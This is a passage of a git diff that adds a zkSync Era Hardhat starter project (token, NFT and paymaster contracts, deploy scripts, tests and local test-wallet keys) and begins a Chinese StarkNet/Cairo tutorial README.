+    constructor() ERC20("DappLearning", "DL") {
+        // Default initial supply of 1 million tokens (with 18 decimals)
+        uint256 initialSupply = 1_000_000 * (10 ** 18);
+
+        // The initial supply is minted to the deployer's address
+        _mint(msg.sender, initialSupply);
+    }
+
+    // Additional functions or overrides can be added here if needed.
+}
diff --git a/basic/30-zksync-layer2/zksync-era/hello-zksync/contracts/nft/MyNFT.sol b/basic/30-zksync-layer2/zksync-era/hello-zksync/contracts/nft/MyNFT.sol
new file mode 100644
index 000000000..654dc45b4
--- /dev/null
+++ b/basic/30-zksync-layer2/zksync-era/hello-zksync/contracts/nft/MyNFT.sol
@@ -0,0 +1,39 @@
+// SPDX-License-Identifier: MIT
+
+pragma solidity ^0.8.0;
+
+import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
+import "@openzeppelin/contracts/access/Ownable.sol";
+import "@openzeppelin/contracts/utils/Counters.sol";
+
+/**
+ * @title MyNFT
+ * @dev Basic ERC721 token with auto-incrementing token IDs.
+ * The owner can mint new tokens. Token URIs are autogenerated based on a base URI.
+ */
+contract MyNFT is ERC721Enumerable, Ownable {
+    using Counters for Counters.Counter;
+    Counters.Counter private _tokenIdTracker;
+    string private _baseTokenURI;
+
+    constructor(string memory name, string memory symbol, string memory baseTokenURI) ERC721(name, symbol) {
+        _baseTokenURI = baseTokenURI;
+    }
+
+    function _baseURI() internal view virtual override returns (string memory) {
+        return _baseTokenURI;
+    }
+
+    /**
+     * @dev Mints a new token to the specified address.
+     * Only the owner can mint new tokens.
+     * @param to The address that will receive the minted token.
+     */
+    function mint(address to) external onlyOwner {
+        _tokenIdTracker.increment();
+        _mint(to, _tokenIdTracker.current());
+    }
+
+
+    // Additional functions or overrides can be added here if needed.
+}
diff --git a/basic/30-zksync-layer2/zksync-era/hello-zksync/contracts/paymasters/ApprovalPaymaster.sol b/basic/30-zksync-layer2/zksync-era/hello-zksync/contracts/paymasters/ApprovalPaymaster.sol
new file mode 100644
index 000000000..9b4ddf012
--- /dev/null
+++ b/basic/30-zksync-layer2/zksync-era/hello-zksync/contracts/paymasters/ApprovalPaymaster.sol
@@ -0,0 +1,126 @@
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+import {IPaymaster, ExecutionResult, PAYMASTER_VALIDATION_SUCCESS_MAGIC} from "@matterlabs/zksync-contracts/l2/system-contracts/interfaces/IPaymaster.sol";
+import {IPaymasterFlow} from "@matterlabs/zksync-contracts/l2/system-contracts/interfaces/IPaymasterFlow.sol";
+import {TransactionHelper, Transaction} from "@matterlabs/zksync-contracts/l2/system-contracts/libraries/TransactionHelper.sol";
+
+import "@matterlabs/zksync-contracts/l2/system-contracts/Constants.sol";
+
+import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
+import "@openzeppelin/contracts/access/Ownable.sol";
+
+/// @author Matter Labs
+/// @notice This smart contract pays the gas fees for accounts with balance of a specific ERC20 token. It makes use of the approval-based flow paymaster.
+contract ApprovalPaymaster is IPaymaster, Ownable {
+    uint256 constant PRICE_FOR_PAYING_FEES = 1;
+
+    address public allowedToken;
+
+    modifier onlyBootloader() {
+        require(
+            msg.sender == BOOTLOADER_FORMAL_ADDRESS,
+            "Only bootloader can call this method"
+        );
+        // Continue execution if called from the bootloader.
+        _;
+    }
+
+    constructor(address _erc20) {
+        allowedToken = _erc20;
+    }
+
+    function validateAndPayForPaymasterTransaction(
+        bytes32,
+        bytes32,
+        Transaction calldata _transaction
+    )
+        external
+        payable
+        onlyBootloader
+        returns (bytes4 magic, bytes memory context)
+    {
+        // By default we consider the transaction as accepted.
+        magic = PAYMASTER_VALIDATION_SUCCESS_MAGIC;
+        require(
+            _transaction.paymasterInput.length >= 4,
+            "The standard paymaster input must be at least 4 bytes long"
+        );
+
+        bytes4 paymasterInputSelector = bytes4(
+            _transaction.paymasterInput[0:4]
+        );
+        // Approval based flow
+        if (paymasterInputSelector == IPaymasterFlow.approvalBased.selector) {
+            // While the transaction data consists of address, uint256 and bytes data,
+            // the data is not needed for this paymaster
+            (address token, uint256 amount, bytes memory data) = abi.decode(
+                _transaction.paymasterInput[4:],
+                (address, uint256, bytes)
+            );
+
+            // Verify if token is the correct one
+            require(token == allowedToken, "Invalid token");
+
+            // We verify that the user has provided enough allowance
+            address userAddress = address(uint160(_transaction.from));
+
+            address thisAddress = address(this);
+
+            uint256 providedAllowance = IERC20(token).allowance(
+                userAddress,
+                thisAddress
+            );
+            require(
+                providedAllowance >= PRICE_FOR_PAYING_FEES,
+                "Min allowance too low"
+            );
+
+            // Note, that while the minimal amount of ETH needed is tx.gasPrice * tx.gasLimit,
+            // neither paymaster nor account are allowed to access this context variable.
+            uint256 requiredETH = _transaction.gasLimit *
+                _transaction.maxFeePerGas;
+
+            try
+                IERC20(token).transferFrom(userAddress, thisAddress, amount)
+            {} catch (bytes memory revertReason) {
+                // If the revert reason is empty or represented by just a function selector,
+                // we replace the error with a more user-friendly message
+                if (revertReason.length <= 4) {
+                    revert("Failed to transferFrom from users' account");
+                } else {
+                    assembly {
+                        revert(add(0x20, revertReason), mload(revertReason))
+                    }
+                }
+            }
+
+            // The bootloader never returns any data, so it can safely be ignored here.
+            (bool success, ) = payable(BOOTLOADER_FORMAL_ADDRESS).call{
+                value: requiredETH
+            }("");
+            require(
+                success,
+                "Failed to transfer tx fee to the bootloader. Paymaster balance might not be enough."
+            );
+        } else {
+            revert("Unsupported paymaster flow");
+        }
+    }
+
+    function postTransaction(
+        bytes calldata _context,
+        Transaction calldata _transaction,
+        bytes32,
+        bytes32,
+        ExecutionResult _txResult,
+        uint256 _maxRefundedGas
+    ) external payable override onlyBootloader {}
+
+    function withdraw(address _to) external onlyOwner {
+        (bool success, ) = payable(_to).call{value: address(this).balance}("");
+        require(success, "Failed to withdraw funds from paymaster.");
+    }
+
+    receive() external payable {}
+}
diff --git a/basic/30-zksync-layer2/zksync-era/hello-zksync/contracts/paymasters/GeneralPaymaster.sol b/basic/30-zksync-layer2/zksync-era/hello-zksync/contracts/paymasters/GeneralPaymaster.sol
new file mode 100644
index 000000000..b261187b8
--- /dev/null
+++ b/basic/30-zksync-layer2/zksync-era/hello-zksync/contracts/paymasters/GeneralPaymaster.sol
@@ -0,0 +1,79 @@
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+import {IPaymaster, ExecutionResult, PAYMASTER_VALIDATION_SUCCESS_MAGIC} from "@matterlabs/zksync-contracts/l2/system-contracts/interfaces/IPaymaster.sol";
+import {IPaymasterFlow} from "@matterlabs/zksync-contracts/l2/system-contracts/interfaces/IPaymasterFlow.sol";
+import {TransactionHelper, Transaction} from "@matterlabs/zksync-contracts/l2/system-contracts/libraries/TransactionHelper.sol";
+
+import "@matterlabs/zksync-contracts/l2/system-contracts/Constants.sol";
+
+import "@openzeppelin/contracts/access/Ownable.sol";
+
+/// @author Matter Labs
+/// @notice This contract does not include any validations other than using the paymaster general flow.
+contract GeneralPaymaster is IPaymaster, Ownable {
+    modifier onlyBootloader() {
+        require(
+            msg.sender == BOOTLOADER_FORMAL_ADDRESS,
+            "Only bootloader can call this method"
+        );
+        // Continue execution if called from the bootloader.
+        _;
+    }
+
+    function validateAndPayForPaymasterTransaction(
+        bytes32,
+        bytes32,
+        Transaction calldata _transaction
+    )
+        external
+        payable
+        onlyBootloader
+        returns (bytes4 magic, bytes memory context)
+    {
+        // By default we consider the transaction as accepted.
+        magic = PAYMASTER_VALIDATION_SUCCESS_MAGIC;
+        require(
+            _transaction.paymasterInput.length >= 4,
+            "The standard paymaster input must be at least 4 bytes long"
+        );
+
+        bytes4 paymasterInputSelector = bytes4(
+            _transaction.paymasterInput[0:4]
+        );
+        if (paymasterInputSelector == IPaymasterFlow.general.selector) {
+            // Note, that while the minimal amount of ETH needed is tx.gasPrice * tx.gasLimit,
+            // neither paymaster nor account are allowed to access this context variable.
+            uint256 requiredETH = _transaction.gasLimit *
+                _transaction.maxFeePerGas;
+
+            // The bootloader never returns any data, so it can safely be ignored here.
+            (bool success, ) = payable(BOOTLOADER_FORMAL_ADDRESS).call{
+                value: requiredETH
+            }("");
+            require(
+                success,
+                "Failed to transfer tx fee to the Bootloader. Paymaster balance might not be enough."
+            );
+        } else {
+            revert("Unsupported paymaster flow in paymasterParams.");
+        }
+    }
+
+    function postTransaction(
+        bytes calldata _context,
+        Transaction calldata _transaction,
+        bytes32,
+        bytes32,
+        ExecutionResult _txResult,
+        uint256 _maxRefundedGas
+    ) external payable override onlyBootloader {}
+
+    function withdraw(address payable _to) external onlyOwner {
+        uint256 balance = address(this).balance;
+        (bool success, ) = _to.call{value: balance}("");
+        require(success, "Failed to withdraw funds from paymaster.");
+    }
+
+    receive() external payable {}
+}
diff --git a/basic/30-zksync-layer2/zksync-era/hello-zksync/deploy/deploy.ts b/basic/30-zksync-layer2/zksync-era/hello-zksync/deploy/deploy.ts
new file mode 100644
index 000000000..728232c15
--- /dev/null
+++ b/basic/30-zksync-layer2/zksync-era/hello-zksync/deploy/deploy.ts
@@ -0,0 +1,10 @@
+import { deployContract } from "./utils";
+
+// An example of a basic deploy script
+// It will deploy a Greeter contract to selected network
+// as well as verify it on Block Explorer if possible for the network
+export default async function () {
+  const contractArtifactName = "Greeter";
+  const constructorArguments = ["Hi there!"];
+  await deployContract(contractArtifactName, constructorArguments);
+}
diff --git a/basic/30-zksync-layer2/zksync-era/hello-zksync/deploy/erc20/deploy.ts b/basic/30-zksync-layer2/zksync-era/hello-zksync/deploy/erc20/deploy.ts
new file mode 100644
index 000000000..f069ead18
--- /dev/null
+++ b/basic/30-zksync-layer2/zksync-era/hello-zksync/deploy/erc20/deploy.ts
@@ -0,0 +1,10 @@
+import { deployContract } from "../utils";
+
+// This script is used to deploy an ERC20 token contract
+// as well as verify it on Block Explorer if possible for the network
+
+// Important: make sure to change contract name and symbol in contract source
+// at contracts/erc20/MyERC20Token.sol
+export default async function () {
+  await deployContract("MyERC20Token");
+}
diff --git a/basic/30-zksync-layer2/zksync-era/hello-zksync/deploy/interact.ts b/basic/30-zksync-layer2/zksync-era/hello-zksync/deploy/interact.ts
new file mode 100644
index 000000000..66537824f
--- /dev/null
+++ b/basic/30-zksync-layer2/zksync-era/hello-zksync/deploy/interact.ts
@@ -0,0 +1,36 @@
+import * as hre from "hardhat";
+import { getWallet } from "./utils";
+import { ethers } from "ethers";
+
+// Address of the contract to interact with
+const CONTRACT_ADDRESS = "0xc1124ab77280Bc58EB1F575371202354Cf0996Fc";
+if (!CONTRACT_ADDRESS) throw "⛔️ Provide address of the contract to interact with!";
+
+// An example of a script to interact with the contract
+export default async function () {
+  console.log(`Running script to interact with contract ${CONTRACT_ADDRESS}`);
+
+  // Load compiled contract info
+  const contractArtifact = await hre.artifacts.readArtifact("Greeter");
+
+  // Initialize contract instance for interaction
+  const contract = new ethers.Contract(
+    CONTRACT_ADDRESS,
+    contractArtifact.abi,
+    getWallet() // Interact with the contract on behalf of this wallet
+  );
+
+  // Run contract read function
+  const response = await contract.greet();
+  console.log(`Current message is: ${response}`);
+
+  // Run contract write function
+  const transaction = await contract.setGreeting("Hello people!");
+  console.log(`Transaction hash of setting new message: ${transaction.hash}`);
+
+  // Wait until transaction is processed
+  await transaction.wait();
+
+  // Read message after transaction
+  console.log(`The message now is: ${await contract.greet()}`);
+}
diff --git a/basic/30-zksync-layer2/zksync-era/hello-zksync/deploy/nft/deploy.ts b/basic/30-zksync-layer2/zksync-era/hello-zksync/deploy/nft/deploy.ts
new file mode 100644
index 000000000..7b81c12b3
--- /dev/null
+++ b/basic/30-zksync-layer2/zksync-era/hello-zksync/deploy/nft/deploy.ts
@@ -0,0 +1,10 @@
+import { deployContract } from "../utils";
+
+// This script is used to deploy an NFT contract
+// as well as verify it on Block Explorer if possible for the network
+export default async function () {
+  const name = "My new NFT";
+  const symbol = "MYNFT";
+  const baseTokenURI = "https://mybaseuri.com/token/";
+  await deployContract("MyNFT", [name, symbol, baseTokenURI]);
+}
diff --git a/basic/30-zksync-layer2/zksync-era/hello-zksync/deploy/utils.ts b/basic/30-zksync-layer2/zksync-era/hello-zksync/deploy/utils.ts
new file mode 100644
index 000000000..6fa20f2d9
--- /dev/null
+++ b/basic/30-zksync-layer2/zksync-era/hello-zksync/deploy/utils.ts
@@ -0,0 +1,169 @@
+import { Provider, Wallet } from "zksync-ethers";
+import * as hre from "hardhat";
+import { Deployer } from "@matterlabs/hardhat-zksync-deploy";
+import dotenv from "dotenv";
+import { formatEther } from "ethers/lib/utils";
+import { BigNumberish } from "ethers";
+
+import "@matterlabs/hardhat-zksync-node/dist/type-extensions";
+import "@matterlabs/hardhat-zksync-verify/dist/src/type-extensions";
+
+// Load env file
+dotenv.config();
+
+export const getProvider = () => {
+  const rpcUrl = hre.network.config.url;
+  if (!rpcUrl) throw `⛔️ RPC URL wasn't found in "${hre.network.name}"! Please add a "url" field to the network config in hardhat.config.ts`;
+  
+  // Initialize zkSync Provider
+  const provider = new Provider(rpcUrl);
+
+  return provider;
+}
+
+export const getWallet = (privateKey?: string) => {
+  if (!privateKey) {
+    // Get wallet private key from .env file
+    if (!process.env.WALLET_PRIVATE_KEY) throw "⛔️ Wallet private key wasn't found in .env file!";
+  }
+
+  const provider = getProvider();
+  
+  // Initialize zkSync Wallet
+  const wallet = new Wallet(privateKey ?? process.env.WALLET_PRIVATE_KEY!, provider);
+
+  return wallet;
+}
+
+export const verifyEnoughBalance = async (wallet: Wallet, amount: BigNumberish) => {
+  // Check if the wallet has enough balance
+  const balance = await wallet.getBalance();
+  if (balance.lt(amount)) throw `⛔️ Wallet balance is too low! Required ${formatEther(amount)} ETH, but current ${wallet.address} balance is ${formatEther(balance)} ETH`;
+}
+
+/**
+ * @param {string} data.contract The contract's path and name. E.g., "contracts/Greeter.sol:Greeter"
+ */
+export const verifyContract = async (data: {
+  address: string,
+  contract: string,
+  constructorArguments: string,
+  bytecode: string
+}) => {
+  const verificationRequestId: number = await hre.run("verify:verify", {
+    ...data,
+    noCompile: true,
+  });
+  return verificationRequestId;
+}
+
+type DeployContractOptions = {
+  /**
+   * If true, the deployment process will not print any logs
+   */
+  silent?: boolean
+  /**
+   * If true, the contract will not be verified on Block Explorer
+   */
+  noVerify?: boolean
+  /**
+   * If specified, the contract will be deployed using this wallet
+   */ 
+  wallet?: Wallet
+}
+export const deployContract = async (contractArtifactName: string, constructorArguments?: any[], options?: DeployContractOptions) => {
+  const log = (message: string) => {
+    if (!options?.silent) console.log(message);
+  }
+
+  log(`\nStarting deployment process of "${contractArtifactName}"...`);
+  
+  const wallet = options?.wallet ?? getWallet();
+  const deployer = new Deployer(hre, wallet);
+  const artifact = await deployer.loadArtifact(contractArtifactName).catch((error) => {
+    if (error?.message?.includes(`Artifact for contract "${contractArtifactName}" not found.`)) {
+      console.error(error.message);
+      throw `⛔️ Please make sure you have compiled your contracts or specified the correct contract name!`;
+    } else {
+      throw error;
+    }
+  });
+
+  // Estimate contract deployment fee
+  const deploymentFee = await deployer.estimateDeployFee(artifact, constructorArguments || []);
+  log(`Estimated deployment cost: ${formatEther(deploymentFee)} ETH`);
+
+  // Check if the wallet has enough balance
+  await verifyEnoughBalance(wallet, deploymentFee);
+
+  // Deploy the contract to zkSync
+  const contract = await deployer.deploy(artifact, constructorArguments);
+
+  const constructorArgs = contract.interface.encodeDeploy(constructorArguments);
+  const fullContractSource = `${artifact.sourceName}:${artifact.contractName}`;
+
+  // Display contract deployment info
+  log(`\n"${artifact.contractName}" was successfully deployed:`);
+  log(` - Contract address: ${contract.address}`);
+  log(` - Contract source: ${fullContractSource}`);
+  log(` - Encoded constructor arguments: ${constructorArgs}\n`);
+
+  if (!options?.noVerify && hre.network.config.verifyURL) {
+    log(`Requesting contract verification...`);
+    await verifyContract({
+      address: contract.address,
+      contract: fullContractSource,
+      constructorArguments: constructorArgs,
+      bytecode: artifact.bytecode,
+    });
+  }
+
+  return contract;
+}
+
+/**
+ * Rich wallets can be used for testing purposes.
+ * Available on zkSync In-memory node and Dockerized node.
+ */
+export const LOCAL_RICH_WALLETS = [
+  {
+    address: "0x36615Cf349d7F6344891B1e7CA7C72883F5dc049",
+    privateKey: "0x7726827caac94a7f9e1b160f7ea819f172f7b6f9d2a97f992c38edeab82d4110"
+  },
+  {
+    address: "0xa61464658AfeAf65CccaaFD3a512b69A83B77618",
+    privateKey: "0xac1e735be8536c6534bb4f17f06f6afc73b2b5ba84ac2cfb12f7461b20c0bbe3"
+  },
+  {
+    address: "0x0D43eB5B8a47bA8900d84AA36656c92024e9772e",
+    privateKey: "0xd293c684d884d56f8d6abd64fc76757d3664904e309a0645baf8522ab6366d9e"
+  },
+  {
+    address: "0xA13c10C0D5bd6f79041B9835c63f91de35A15883",
+    privateKey: "0x850683b40d4a740aa6e745f889a6fdc8327be76e122f5aba645a5b02d0248db8"
+  },
+  {
+    address: "0x8002cD98Cfb563492A6fB3E7C8243b7B9Ad4cc92",
+    privateKey: "0xf12e28c0eb1ef4ff90478f6805b68d63737b7f33abfa091601140805da450d93"
+  },
+  {
+    address: "0x4F9133D1d3F50011A6859807C837bdCB31Aaab13",
+    privateKey: "0xe667e57a9b8aaa6709e51ff7d093f1c5b73b63f9987e4ab4aa9a5c699e024ee8"
+  },
+  {
+    address: "0xbd29A1B981925B94eEc5c4F1125AF02a2Ec4d1cA",
+    privateKey: "0x28a574ab2de8a00364d5dd4b07c4f2f574ef7fcc2a86a197f65abaec836d1959"
+  },
+  {
+    address: "0xedB6F5B4aab3dD95C7806Af42881FF12BE7e9daa",
+    privateKey: "0x74d8b3a188f7260f67698eb44da07397a298df5427df681ef68c45b34b61f998"
+  },
+  {
+    address: "0xe706e60ab5Dc512C36A4646D719b889F398cbBcB",
+    privateKey: "0xbe79721778b48bcc679b78edac0ce48306a8578186ffcb9f2ee455ae6efeace1"
+  },
+  {
+    address: "0xE90E12261CCb0F3F7976Ae611A29e84a6A85f424",
+    privateKey: "0x3eb15da85647edd9a1159a4a13b9e7c56877c4eb33f614546d4db06a51868b1c"
+  }
+]
\ No newline at end of file
diff --git a/basic/30-zksync-layer2/zksync-era/hello-zksync/hardhat.config.ts b/basic/30-zksync-layer2/zksync-era/hello-zksync/hardhat.config.ts
new file mode 100644
index 000000000..6afb5defc
--- /dev/null
+++ b/basic/30-zksync-layer2/zksync-era/hello-zksync/hardhat.config.ts
@@ -0,0 +1,55 @@
+import { HardhatUserConfig } from "hardhat/config";
+
+import "@matterlabs/hardhat-zksync-node";
+import "@matterlabs/hardhat-zksync-deploy";
+import "@matterlabs/hardhat-zksync-solc";
+import "@matterlabs/hardhat-zksync-verify";
+
+const config: HardhatUserConfig = {
+  defaultNetwork: "zkSyncSepoliaTestnet",
+  networks: {
+    zkSyncSepoliaTestnet: {
+      url: "https://sepolia.era.zksync.dev",
+      ethNetwork: "sepolia",
+      zksync: true,
+      verifyURL: "https://explorer.sepolia.era.zksync.dev/contract_verification",
+    },
+    zkSyncMainnet: {
+      url: "https://mainnet.era.zksync.io",
+      ethNetwork: "mainnet",
+      zksync: true,
+      verifyURL: "https://zksync2-mainnet-explorer.zksync.io/contract_verification",
+    },
+    zkSyncGoerliTestnet: { // deprecated network
+      url: "https://testnet.era.zksync.dev",
+      ethNetwork: "goerli",
+      zksync: true,
+      verifyURL: "https://zksync2-testnet-explorer.zksync.dev/contract_verification",
+    },
+    dockerizedNode: {
+      url: "http://localhost:3050",
+      ethNetwork: "http://localhost:8545",
+      zksync: true,
+    },
+    inMemoryNode: {
+      url: "http://127.0.0.1:8011",
+      ethNetwork: "", // in-memory node doesn't support eth node; removing this line will cause an error
+      zksync: true,
+    },
+    hardhat: {
+      zksync: true,
+    },
+  },
+  zksolc: {
+    version: "latest",
+    settings: {
+      // find all available options in the official documentation
+      // https://era.zksync.io/docs/tools/hardhat/hardhat-zksync-solc.html#configuration
+    },
+  },
+  solidity: {
+    version: "0.8.17",
+  },
+};
+
+export default config;
diff --git a/basic/30-zksync-layer2/zksync-era/hello-zksync/package.json b/basic/30-zksync-layer2/zksync-era/hello-zksync/package.json
new file mode 100644
index 000000000..7f85167e4
--- /dev/null
+++ b/basic/30-zksync-layer2/zksync-era/hello-zksync/package.json
@@ -0,0 +1,34 @@
+{
+  "name": "zksync-hardhat-template",
+  "description": "A template for zkSync smart contracts development with Hardhat",
+  "private": true,
+  "author": "Matter Labs",
+  "license": "MIT",
+  "repository": "https://github.com/matter-labs/zksync-hardhat-template.git",
+  "scripts": {
+    "deploy": "hardhat deploy-zksync --script deploy.ts",
+    "interact": "hardhat deploy-zksync --script interact.ts",
+    "compile": "hardhat compile",
+    "clean": "hardhat clean",
+    "test": "hardhat test --network hardhat"
+  },
+  "devDependencies": {
+    "@matterlabs/hardhat-zksync-deploy": "^0.7.0",
+    "@matterlabs/hardhat-zksync-node": "^0.0.1",
+    "@matterlabs/hardhat-zksync-solc": "^1.0.6",
+    "@matterlabs/hardhat-zksync-verify": "^0.4.0",
+    "@matterlabs/zksync-contracts": "^0.6.1",
+    "@nomiclabs/hardhat-etherscan": "^3.1.7",
+    "@openzeppelin/contracts": "^4.6.0",
+    "@types/chai": "^4.3.4",
+    "@types/mocha": "^10.0.1",
+    "chai": "^4.3.7",
+    "dotenv": "^16.0.3",
+    "ethers": "^5.7.2",
+    "hardhat": "^2.12.4",
+    "mocha": "^10.2.0",
+    "ts-node": "^10.9.1",
+    "typescript": "^4.9.5",
+    "zksync-ethers": "^5.0.0"
+  }
+}
diff --git a/basic/30-zksync-layer2/zksync-era/hello-zksync/test/erc20/myerc20token.test.ts b/basic/30-zksync-layer2/zksync-era/hello-zksync/test/erc20/myerc20token.test.ts
new file mode 100644
index 000000000..646672620
--- /dev/null
+++ b/basic/30-zksync-layer2/zksync-era/hello-zksync/test/erc20/myerc20token.test.ts
@@ -0,0 +1,48 @@
+import { expect } from 'chai';
+import { Contract, Wallet } from "zksync-ethers";
+import { getWallet, deployContract, LOCAL_RICH_WALLETS } from '../../deploy/utils';
+import * as ethers from "ethers";
+
+describe("MyERC20Token", function () {
+  let tokenContract: Contract;
+  let ownerWallet: Wallet;
+  let userWallet: Wallet;
+
+  before(async function () {
+    ownerWallet = getWallet(LOCAL_RICH_WALLETS[0].privateKey);
+    userWallet = getWallet(LOCAL_RICH_WALLETS[1].privateKey);
+
+    tokenContract = await deployContract("MyERC20Token", [], { wallet: ownerWallet, silent: true });
+  });
+
+  it("Should have correct initial supply", async function () {
+    const initialSupply = await tokenContract.totalSupply();
+    expect(initialSupply.toString()).to.equal("1000000000000000000000000"); // 1 million tokens with 18 decimals
+  });
+
+  it("Should allow owner to burn tokens", async function () {
+    const burnAmount = ethers.utils.parseEther("10"); // Burn 10 tokens
+    await tokenContract.burn(burnAmount);
+    const afterBurnSupply = await tokenContract.totalSupply();
+    expect(afterBurnSupply.toString()).to.equal("999990000000000000000000"); // 999,990 tokens remaining
+  });
+
+  it("Should allow user to transfer tokens", async function () {
+    const transferAmount = ethers.utils.parseEther("50"); // Transfer 50 tokens
+    await tokenContract.transfer(userWallet.address, transferAmount);
+    const userBalance = await tokenContract.balanceOf(userWallet.address);
+    expect(userBalance.toString()).to.equal(transferAmount.toString());
+  });
+
+  it("Should fail when user tries to burn more tokens than they have", async function () {
+    const userTokenContract = new Contract(tokenContract.address, tokenContract.interface, userWallet);
+    const burnAmount = ethers.utils.parseEther("100"); // Try to burn 100 tokens
+    try {
+      await userTokenContract.burn(burnAmount);
+      expect.fail("Expected burn to revert, but it didn't");
+    } catch (error) {
+      expect(error.message).to.include("burn amount exceeds balance");
+    }
+  });
+});
+
diff --git a/basic/30-zksync-layer2/zksync-era/hello-zksync/test/greeter.test.ts b/basic/30-zksync-layer2/zksync-era/hello-zksync/test/greeter.test.ts
new file mode 100644
index 000000000..7120eda65
--- /dev/null
+++ b/basic/30-zksync-layer2/zksync-era/hello-zksync/test/greeter.test.ts
@@ -0,0 +1,21 @@
+import { expect } from 'chai';
+import { getWallet, deployContract, LOCAL_RICH_WALLETS } from '../deploy/utils';
+
+describe('Greeter', function () {
+  it("Should return the new greeting once it's changed", async function () {
+    const wallet = getWallet(LOCAL_RICH_WALLETS[0].privateKey);
+
+    const greeting = "Hello world!";
+    const greeter = await deployContract("Greeter", [greeting], { wallet, silent: true });
+
+    expect(await greeter.greet()).to.eq(greeting);
+
+    const newGreeting = "Hola, mundo!";
+    const setGreetingTx = await greeter.setGreeting(newGreeting);
+    
+    // wait until the transaction is processed
+    await setGreetingTx.wait();
+
+    expect(await greeter.greet()).to.equal(newGreeting);
+  });
+});
diff --git a/basic/30-zksync-layer2/zksync-era/hello-zksync/test/nft/mynft.test.ts b/basic/30-zksync-layer2/zksync-era/hello-zksync/test/nft/mynft.test.ts
new file mode 100644
index 000000000..6739d5bd7
--- /dev/null
+++ b/basic/30-zksync-layer2/zksync-era/hello-zksync/test/nft/mynft.test.ts
@@ -0,0 +1,48 @@
+import { expect } from 'chai';
+import { Contract, Wallet } from "zksync-ethers";
+import { getWallet, deployContract, LOCAL_RICH_WALLETS } from '../../deploy/utils';
+
+describe("MyNFT", function () {
+  let nftContract: Contract;
+  let ownerWallet: Wallet;
+  let recipientWallet: Wallet;
+
+  before(async function () {
+    ownerWallet = getWallet(LOCAL_RICH_WALLETS[0].privateKey);
+    recipientWallet = getWallet(LOCAL_RICH_WALLETS[1].privateKey);
+
+    nftContract = await deployContract(
+      "MyNFT",
+      ["MyNFTName", "MNFT", "https://mybaseuri.com/token/"],
+      { wallet: ownerWallet, silent: true }
+    );
+  });
+
+  it("Should mint a new NFT to the recipient", async function () {
+    await nftContract.connect(ownerWallet).mint(recipientWallet.address);
+    const balance = await nftContract.balanceOf(recipientWallet.address);
+    expect(balance.toNumber()).to.equal(1);
+  });
+
+  it("Should have correct token URI after minting", async function () {
+    const tokenId = 1; // Assuming the first token minted has ID 1
+    const tokenURI = await nftContract.tokenURI(tokenId);
+    expect(tokenURI).to.equal("https://mybaseuri.com/token/1");
+  });
+
+  it("Should allow owner to mint multiple NFTs", async function () {
+    await nftContract.connect(ownerWallet).mint(recipientWallet.address);
+    await nftContract.connect(ownerWallet).mint(recipientWallet.address);
+    const balance = await nftContract.balanceOf(recipientWallet.address);
+    expect(balance.toNumber()).to.equal(3); // 1 initial nft + 2 minted
+  });
+
+  it("Should not allow non-owner to mint NFTs", async function () {
+    try {
+      await nftContract.connect(recipientWallet).mint(recipientWallet.address);
+      expect.fail("Expected mint to revert, but it didn't");
+    } catch (error) {
+      expect(error.message).to.include("Ownable: caller is not the owner");
+    }
+  });
+});
diff --git a/basic/31-starkNet-layer2/.gitignore b/basic/31-starkNet-layer2/.gitignore
new file mode 100644
index 000000000..5a26890bd
--- /dev/null
+++ b/basic/31-starkNet-layer2/.gitignore
@@ -0,0 +1,3 @@
+contract_abi.json
+contract_compiled.json
+starknet-artifacts/
\ No newline at end of file
diff --git a/basic/31-starkNet-layer2/README.md b/basic/31-starkNet-layer2/README.md
new file mode 100644
index 000000000..7a70004f8
--- /dev/null
+++ b/basic/31-starkNet-layer2/README.md
@@ -0,0 +1,194 @@
+# StarkNet
+
+## intro
+
+StarkNet 是一个无需许可的去中心化 ZK-Rollup，作为以太坊上的 L2 网络运行，任何 dApp 都可以在不影响以太坊的可组合性和安全性的情况下实现无限规模的计算。
+
+`Cairo` 是一种用于编写可证明程序的编程语言，其中一方可以向另一方证明某个计算已正确执行。
+
+StarkNet 将 Cairo 编程语言用于其基础设施和编写 StarkNet 合约。
+
+
+## Setting up the environment
+
+具体安装可以查看官方文档，这里以 Linux 环境为例 (Mac M1 芯片安装一直存在问题)
+
+1. 为 Cairo 创建一个独立的 python 虚拟环境
+
+   ```sh
+   python3.7 -m venv ~/cairo_venv
+   source ~/cairo_venv/bin/activate
+   ```
+
+   建议使用 python3.7 版本，其他版本可能有依赖安装问题
+
+2. 安装 pip 依赖
+
+   ```sh
+   pip3 install ecdsa fastecdsa sympy
+   ```
+
+3. 安装 cairo-lang
+
+   ```sh
+   pip3 install cairo-lang
+   ```
+
+   验证是否安装成功
+
+   ```sh
+   # (cairo_venv) (python37)
+   cairo-compile --version # cairo-compile 0.6.2
+   ```
+
+## Your first contract
+
+### 创建 `contract.cairo` 文件
+
+```python
+# Declare this file as a StarkNet contract and set the required
+# builtins.
+%lang starknet
+
+#%builtins directive is no longer required in StarkNet contracts since v0.7
+%builtins pedersen range_check
+
+from starkware.cairo.common.cairo_builtins import HashBuiltin
+
+# Define a storage variable.
+@storage_var
+func balance() -> (res : felt):
+end
+
+# Increases the balance by the given amount.
+@external
+func increase_balance{
+      syscall_ptr : felt*, pedersen_ptr : HashBuiltin*,
+      range_check_ptr}(amount : felt):
+   let (res) = balance.read()
+   balance.write(res + amount)
+   return ()
+end
+
+# Returns the current balance.
+@view
+func get_balance{
+      syscall_ptr : felt*, pedersen_ptr : HashBuiltin*,
+      range_check_ptr}() -> (res : felt):
+   let (res) = balance.read()
+   return (res)
+end
+```
+
+- `%lang starknet` 声明该文件为 StarkNet contract, 需要使用 `starknet-compile` 命令来编译，而非 `cairo-compile`
+- `%builtins pedersen range_check` 引入两个内建函数（%builtins 指令自v0.7起不再使用）
+- `@storage_var` 声明 storage 变量
+  - `balance.read()` 读取变量值
+  - `balance.write(newValue)` 将 newValue 值写入 balance
+  - 部署合约时，所有 storage 变量都将初始化为 0
+- `@external` 外部调用方法
+- `func increase_balance{pedersen_ptr：HashBuiltin*}`
+  - 大括号内为声明的隐式参数 `Implicit arguments`
+  - 隐式参数会自动向函数添加参数和返回值，而不用显式的在 return 语句中添加返回值
+- `let (res) = ..` 声明局部变量
+
+### 部署合约
+
+命令行引入网络配置
+
+```sh
+export STARKNET_NETWORK=alpha-goerli
+```
+
+部署合约命令
+
